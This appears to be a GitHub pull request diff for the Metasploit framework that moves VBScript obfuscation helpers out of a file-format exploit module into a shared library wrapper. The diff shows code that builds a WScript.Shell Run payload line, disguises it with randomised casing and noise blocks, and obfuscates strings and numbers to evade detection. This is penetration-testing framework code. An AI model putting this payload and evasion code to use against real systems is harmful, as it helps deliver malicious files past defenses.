Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
39 changes: 39 additions & 0 deletions lib/msf/core/exploit/vbsobfuscate.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,39 @@
# -*- coding: binary -*-

require 'rex/exploitation/vbsobfuscate'

module Msf
# VBS obfuscation library wrapper for Rex::Exploitation::VBSObfuscate
module Exploit::VBSObfuscate
def initialize(info = {})
super
register_advanced_options([
OptInt.new('VbsObfuscate', [false, 'Number of times to obfuscate VBS', 1]),
])
end

#
# Returns an VBSObfuscate object. A wrapper of ::Rex::Exploitation::VBSObfuscate.new(vbs).obfuscate!
#
# @param vbs [String] VBS code
# @param opts [Hash] obfuscation options
# * :iterations [FixNum] Number of times to obfuscate
# * :normalize_whitespace [Boolean] normalize line endings and strip leading/trailing whitespace from each line (true)
# * :dynamic_execution [Boolean] dynamically execute obfuscated code with Execute (true)
# @return [::Rex::Exploitation::VBSObfuscate]
#
def vbs_obfuscate(vbs, opts = {})
iterations = (opts[:iterations] || datastore['VbsObfuscate']).to_i
normalize_whitespace = opts[:normalize_whitespace].blank? || opts[:normalize_whitespace]
dynamic_execution = opts[:dynamic_execution].blank? || opts[:dynamic_execution]

vbs_obfuscate = ::Rex::Exploitation::VBSObfuscate.new(vbs)
vbs_obfuscate.obfuscate!(
iterations: iterations,
normalize_whitespace: normalize_whitespace,
dynamic_execution: dynamic_execution
)
vbs_obfuscate
end
end
end
1 change: 1 addition & 0 deletions lib/msf_autoload.rb
Original file line number Diff line number Diff line change
Expand Up @@ -124,6 +124,7 @@ def custom_inflections
'macho' => 'MachO',
'nodejs' => 'NodeJS',
'jsobfu' => 'JSObfu',
'vbsobfuscate' => 'VBSObfuscate',
'osx' => 'OSX',
'webrtc' => 'WebRTC',
'json' => 'JSON',
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::VBSObfuscate

def initialize(info = {})
super(
Expand Down Expand Up @@ -60,57 +61,6 @@ def initialize(info = {})
])
end

# Returns a random math expression evaluating to input int
#
# @param [Integer] int input integer
#
# @return [String] math expression evaluating to input int
def generate_number_expression(int)
case rand(4)
when 0 # Sum
a = rand(0..int)
b = int - a
"(#{a}+#{b})"
when 1 # Difference
r1 = int + rand(1..10)
r2 = r1 - int
"(#{r1}-#{r2})"
when 2 # Product (only if divisible)
divisors = (1..int).select { |d| (int % d).zero? }
if divisors.size > 1
d = divisors.sample
"(#{d}*#{int / d})"
else
"(#{int}+0)"
end
when 3 # Quotient
r2 = rand(1..10)
r1 = int * r2
"(#{r1}/#{r2})"
end
end

# Return VBScript code with all strings split into chunks and concatenated
#
# @param [String] vbscript VBScript code
#
# @return [String] VBScript code with chunked strings
def chunk_vbscript_strings(vbscript)
vbscript.gsub(/"([^"]+)"/) do
original = Regexp.last_match(1)
chunks = []

i = 0
while i < original.length
chunk_size = rand(1..5)
chunks << "\"#{original[i, chunk_size]}\""
i += chunk_size
end

chunks.join(' & ')
end
end

# Build a series of benign VBScript noise blocks
#
# @param [Integer] block_count Number of blocks to generate
Expand Down Expand Up @@ -156,29 +106,6 @@ def generate_vbscript_noise(block_count = 0)
lines.join("\r\n")
end

# Obfuscate string literals and integer literals
#
# @param [String] vbscript VBScript code to be obfuscated
#
# @return [String] Obfuscated VBScript
def obfuscate_vbscript(vbscript)
obfuscated = vbscript.dup

# Obfuscate strings
obfuscated = chunk_vbscript_strings(obfuscated)
obfuscated.gsub!(/"((?:[^"]|"")*)"/) do
raw = ::Regexp.last_match(1).gsub('""', '"')
raw.chars.map { |c| "chr(#{generate_number_expression(c.ord)})" }.join(' & ')
end

# Obfuscate integers
obfuscated.gsub!(/\b\d+\b/) do |num|
generate_number_expression(num.to_i)
end

obfuscated
end

def generate_vbscript(command_string, prepend_benign_code: false, prepend_new_lines: 0, obfuscate: false)
vbs = ''
vbs << generate_vbscript_noise(rand(8..10)) if prepend_benign_code
Expand All @@ -200,7 +127,7 @@ def generate_vbscript(command_string, prepend_benign_code: false, prepend_new_li
shell_obj = 'WScript.Shell'.chars.map { |c| (rand(2) == 0 ? c.downcase : c.upcase) }.join
vbs_payload = "CreateObject(\"#{shell_obj}\").Run(\"#{cmd}\")"
if obfuscate
vbs << obfuscate_vbscript(vbs_payload)
vbs << vbs_obfuscate(vbs_payload).to_s
else
vbs << vbs_payload
end
Expand Down